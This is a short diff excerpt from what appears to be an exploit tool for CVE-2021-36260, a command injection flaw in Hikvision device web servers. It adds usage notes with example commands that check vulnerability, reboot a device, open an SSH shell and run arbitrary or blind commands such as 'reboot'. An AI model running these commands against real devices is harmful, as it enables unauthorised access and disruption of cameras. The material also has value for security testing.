| 2 | 2 | | command injection vulnerability in the web server of some Hikvision product. Due to the insufficient input validation, attacker can exploit the vulnerability to launch a command injection attack by sending some messages with malicious commands. |

| | 16 | + | Note: |
| | 17 | + | 1) This code will _not_ verify if remote is Hikvision device or not. |
| | 18 | + | 2) Most of my interest in this code has been concentrated on how to |
| | 19 | + | reliably detect vulnerable and/or exploitable devices. |
| | 20 | + | Some devices are easy to detect, verify and exploit the vulnerability, |
| | 21 | + | other devices may be vulnerable but not so easy to verify and exploit. |
| | 22 | + | I think the combined verification code should have very high accuracy. |
| | 23 | + | 3) 'safe check' (--check) will try write and read for verification |
| | 24 | + | 'unsafe check' (--reboot) will try reboot the device for verification |
| | 25 | + | |
| | 26 | + | [Examples] |
| | 27 | + | Safe vulnerability/verify check: |
| | 28 | + | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check |
| | 29 | + | |
| | 30 | + | Safe and unsafe vulnerability/verify check: |
| | 31 | + | (will only use 'unsafe check' if not verified with 'safe check') |
| | 32 | + | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot |
| | 33 | + | |
| | 34 | + | Unsafe vulnerability/verify check: |
| | 35 | + | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot |
| | 36 | + | |
| | 37 | + | Launch and connect to SSH shell: |
| | 38 | + | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell |
| | 39 | + | |
| | 40 | + | Execute command: |
| | 41 | + | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l" |
| | 42 | + | |
| | 43 | + | Execute blind command: |
| | 44 | + | $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot" |
